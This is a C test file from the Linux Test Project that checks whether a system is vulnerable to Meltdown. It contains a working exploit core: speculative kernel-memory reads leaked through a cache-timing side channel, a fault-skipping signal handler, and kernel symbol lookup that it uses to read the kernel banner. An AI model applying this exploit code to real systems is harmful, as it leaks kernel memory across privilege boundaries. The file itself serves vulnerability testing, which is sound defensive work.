1/*
2 * Copyright (c) 2018 Pavel Boldin <pboldin@cloudlinux.com>
3 *
4 * This program is free software: you can redistribute it and/or modify
5 * it under the terms of the GNU General Public License as published by
6 * the Free Software Foundation, either version 2 of the License, or
7 * (at your option) any later version.
8 *
9 * This program is distributed in the hope that it will be useful,
10 * but WITHOUT ANY WARRANTY; without even the implied warranty of
11 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
12 * GNU General Public License for more details.
13 *
14 * You should have received a copy of the GNU General Public License
15 * along with this program. If not, see <http://www.gnu.org/licenses/>.
16 *
17 * Original exploit: https://github.com/paboldin/meltdown-exploit.
18 */
19
20#include "config.h"
21#include "tst_test.h"
22
23#if defined(__x86_64__) || defined(__i386__)
24
25#include <stdio.h>
26#include <string.h>
27#include <signal.h>
28#include <ucontext.h>
29#include <unistd.h>
30#include <fcntl.h>
31#include <ctype.h>
32#include <sys/utsname.h>
33
34#include <emmintrin.h>
35
36#include "libtsc.h"
37
38#define TARGET_OFFSET	9
39#define TARGET_SIZE	(1 << TARGET_OFFSET)
40#define BITS_BY_READ	2
41
42static char target_array[BITS_BY_READ * TARGET_SIZE];
43
44static void
45clflush_target(void)
46{
47	int i;
48
49	for (i = 0; i < BITS_BY_READ; i++)
50		_mm_clflush(&target_array[i * TARGET_SIZE]);
51}
52
53extern char failshere[];
54extern char stopspeculate[];
55
56static void __attribute__((noinline))
57speculate(unsigned long addr, char bit)
58{
59	register char mybit asm ("cl") = bit;
60#ifdef __x86_64__
61	asm volatile (
62		"1:\n\t"
63
64		".rept 300\n\t"
65		"add $0x141, %%rax\n\t"
66		".endr\n"
67
68		"failshere:\n\t"
69		"movb (%[addr]), %%al\n\t"
70		"ror %[bit], %%rax\n\t"
71		"and $1, %%rax\n\t"
72		"shl $9, %%rax\n\t"
73		"jz 1b\n\t"
74
75		"movq (%[target], %%rax, 1), %%rbx\n"
76
77		"stopspeculate: \n\t"
78		"nop\n\t"
79		:
80		: [target] "r" (target_array),
81		  [addr] "r" (addr),
82		  [bit] "r" (mybit)
83		: "rax", "rbx"
84	);
85#else /* defined(__x86_64__) */
86	asm volatile (
87		"1:\n\t"
88
89		".rept 300\n\t"
90		"add $0x141, %%eax\n\t"
91		".endr\n"
92
93		"failshere:\n\t"
94		"movb (%[addr]), %%al\n\t"
95		"ror %[bit], %%eax\n\t"
96		"and $1, %%eax\n\t"
97		"shl $9, %%eax\n\t"
98		"jz 1b\n\t"
99
100		"movl (%[target], %%eax, 1), %%ebx\n"
101
102		"stopspeculate: \n\t"
103		"nop\n\t"
104		:
105		: [target] "r" (target_array),
106		  [addr] "r" (addr),
107		  [bit] "r" (mybit)
108		: "rax", "ebx"
109	);
110#endif
111}
112
113#ifdef __i386__
114# define REG_RIP	REG_EIP
115#endif
116
117static void
118sigsegv(int sig LTP_ATTRIBUTE_UNUSED,
119	siginfo_t *siginfo LTP_ATTRIBUTE_UNUSED,
120	void *context LTP_ATTRIBUTE_UNUSED)
121{
122	ucontext_t *ucontext = context;
123	unsigned long *prip = (unsigned long *)&ucontext->uc_mcontext.gregs[REG_RIP];
124	if (*prip != (unsigned long)failshere) {
125		tst_brk(TBROK,
126			"Segmentation fault at unexpected location %lx",
127			*prip);
128		abort();
129	}
130	*prip = (unsigned long)stopspeculate;
131	return;
132}
133
134static int
135set_signal(void)
136{
137	struct sigaction act = {
138		.sa_sigaction = sigsegv,
139		.sa_flags = SA_SIGINFO,
140	};
141
142	return sigaction(SIGSEGV, &act, NULL);
143}
144
145static inline int
146get_access_time(volatile char *addr)
147{
148	unsigned long long time1, time2;
149	volatile int j LTP_ATTRIBUTE_UNUSED;
150
151	rdtscll(time1);
152
153	j = *addr;
154
155	_mm_mfence();
156	rdtscll(time2);
157
158	return time2 - time1;
159}
160
161static int cache_hit_threshold;
162static int hist[BITS_BY_READ];
163
164static void
165check(void)
166{
167	int i, time;
168	volatile char *addr;
169
170	for (i = 0; i < BITS_BY_READ; i++) {
171		addr = &target_array[i * TARGET_SIZE];
172
173		time = get_access_time(addr);
174
175		if (time <= cache_hit_threshold)
176			hist[i]++;
177	}
178}
179
180#define CYCLES 10000
181static int
182readbit(int fd, unsigned long addr, char bit)
183{
184	int i, ret;
185	static char buf[256];
186
187	memset(hist, 0, sizeof(hist));
188
189	for (i = 0; i < CYCLES; i++) {
190		ret = pread(fd, buf, sizeof(buf), 0);
191		if (ret < 0)
192			tst_res(TBROK | TERRNO, "can't read /proc/version");
193
194		clflush_target();
195
196		speculate(addr, bit);
197		check();
198	}
199
200#ifdef DEBUG
201	for (i = 0; i < BITS_BY_READ; i++)
202		tst_res(TINFO, "addr %lx hist[%x] = %d", addr, i, hist[i]);
203#endif
204
205	if (hist[1] > CYCLES / 10)
206		return 1;
207	return 0;
208}
209
210static int
211readbyte(int fd, unsigned long addr)
212{
213	int bit, res = 0;
214
215	for (bit = 0; bit < 8; bit ++ )
216		res |= (readbit(fd, addr, bit) << bit);
217
218	return res;
219}
220
221
222static int
223mysqrt(long val)
224{
225	int root = val / 2, prevroot = 0, i = 0;
226
227	while (prevroot != root && i++ < 100) {
228		prevroot = root;
229		root = (val / root + root) / 2;
230	}
231
232	return root;
233}
234
235#define ESTIMATE_CYCLES	1000000
236static void
237set_cache_hit_threshold(void)
238{
239	long cached, uncached, i;
240
241	for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
242		cached += get_access_time(target_array);
243
244	for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
245		cached += get_access_time(target_array);
246
247	for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
248		_mm_clflush(target_array);
249		uncached += get_access_time(target_array);
250	}
251
252	cached /= ESTIMATE_CYCLES;
253	uncached /= ESTIMATE_CYCLES;
254
255	cache_hit_threshold = mysqrt(cached * uncached);
256
257	tst_res(TINFO,
258		"access time: cached = %ld, uncached = %ld, threshold = %d",
259		cached, uncached, cache_hit_threshold);
260}
261
262static unsigned long
263find_symbol_in_file(const char *filename, const char *symname)
264{
265	unsigned long addr;
266	char type;
267	int ret, read;
268	char fmt[strlen(symname) + 64];
269
270	sprintf(fmt, "%%lx %%c %s%%c", symname);
271
272	ret = SAFE_FILE_LINES_SCANF(filename, fmt, &addr, &type, &read);
273	if (ret)
274		return 0;
275
276	return addr;
277}
278
279static unsigned long
280find_kernel_symbol(const char *name)
281{
282	char systemmap[256];
283	struct utsname utsname;
284	unsigned long addr;
285
286	addr = find_symbol_in_file("/proc/kallsyms", name);
287	if (addr)
288		return addr;
289
290	tst_res(TINFO, "not found '%s' in /proc/kallsyms", name);
291	if (uname(&utsname) < 0)
292		tst_brk(TBROK | TERRNO, "uname");
293
294	sprintf(systemmap, "/boot/System.map-%s", utsname.release);
295
296	tst_res(TINFO, "looking in '%s'\n", systemmap);
297	addr = find_symbol_in_file(systemmap, name);
298	return addr;
299}
300
301unsigned long linux_proc_banner_addr;
302int banner_fd;
303
304static void setup(void)
305{
306	set_cache_hit_threshold();
307
308	linux_proc_banner_addr = find_kernel_symbol("linux_proc_banner");
309	tst_res(TINFO, "linux_proc_banner is at %lx", linux_proc_banner_addr);
310
311	banner_fd = SAFE_OPEN("/proc/version", O_RDONLY);
312
313	memset(target_array, 1, sizeof(target_array));
314
315	if (set_signal() < 0)
316		tst_res(TBROK | TERRNO, "set_signal");
317}
318
319static void run(void)
320{
321	unsigned int i, score, ret;
322	static char expected[] = "%s version %s";
323	static char read[32];
324	unsigned long addr = linux_proc_banner_addr;
325	unsigned long size = sizeof(expected) - 1;
326
327	for (i = 0; i < size; i++) {
328		ret = readbyte(banner_fd, addr);
329
330		read[i] = ret;
331		tst_res(TINFO, "read %lx = 0x%x %c", addr, ret,
332			isprint(ret) ? ret : ' ');
333
334		addr++;
335	}
336
337	for (score = 0, i = 0; i < size; i++)
338		if (expected[i] == read[i])
339			score++;
340
341	if (score > size / 2)
342		tst_res(TFAIL, "I was able to read your kernel memory!!!");
343	else
344		tst_res(TPASS, "I was not able to read your kernel memory");
345}
346
347static void cleanup(void)
348{
349	SAFE_CLOSE(banner_fd);
350}
351
352static struct tst_test test = {
353	.needs_root = 1,
354	.setup = setup,
355	.test_all = run,
356	.cleanup = cleanup,
357	.min_kver = "2.6.32"
358};
359
360#else /* #if defined(__x86_64__) || defined(__i386__) */
361
362TST_TEST_TCONF("not x86_64 or i386");
363
364#endif /* #else #if defined(__x86_64__) || defined(__i386__) */
365